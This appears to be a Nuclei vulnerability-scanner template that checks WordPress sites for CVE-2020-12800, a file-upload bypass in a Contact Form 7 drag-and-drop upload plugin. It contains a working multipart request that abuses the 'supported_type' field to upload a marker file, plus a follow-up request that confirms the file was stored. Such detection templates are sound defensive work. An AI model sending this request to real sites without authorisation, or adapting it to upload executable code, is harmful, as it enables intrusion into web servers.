id: CVE-2020-12800
info:
name: WordPress Contact Form 7 <1.3.3.3 - Remote Code Execution
author: dwisiswant0
severity: critical
description: |
WordPress Contact Form 7 before 1.3.3.3 allows unrestricted file upload and remote code execution by setting supported_type to php% and uploading a .php% file.
remediation: |
Update the Contact Form 7 plugin to version 1.3.3.3 or later to mitigate this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2020-12800
- https://github.com/amartinsec/CVE-2020-12800
- https://packetstormsecurity.com/files/157951/WordPress-Drag-And-Drop-Multi-File-Uploader-Remote-Code-Execution.html
- https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/#developers
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-12800
cwe-id: CWE-434
epss-score: 0.97463
epss-percentile: 0.99949
cpe: cpe:2.3:a:codedropz:drag_and_drop_multiple_file_upload_-_contact_form_7:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: codedropz
product: drag_and_drop_multiple_file_upload_-_contact_form_7
framework: wordpress
tags: wordpress,wp-plugin,fileupload,wp,rce,packetstorm,cve,cve2020,intrusive
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------350278735926454076983690555601
X-Requested-With: XMLHttpRequest
-----------------------------350278735926454076983690555601
Content-Disposition: form-data; name="supported_type"
txt%
Content-Disposition: form-data; name="size_limit"
5242880
Content-Disposition: form-data; name="action"
dnd_codedropz_upload
Content-Disposition: form-data; name="type"
click
Content-Disposition: form-data; name="upload-file"; filename="{{randstr}}.txt%"
Content-Type: application/x-httpd-php
CVE-2020-12800-{{randstr}}
-----------------------------350278735926454076983690555601--
GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.txt HTTP/1.1
req-condition: true
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "CVE-2020-12800-{{randstr}}"
- type: status
status:
- 200
# digest: 490a0046304402200df29a29910d9fba68e959c720299982164b61b4151ffa0cd51cbea12f3ff4a802206147a8157d30b477ac1c34bcfd21f908aec9f02a8d495f1adf14208818bacb01:922c64590222798bb761d5b6d8e72950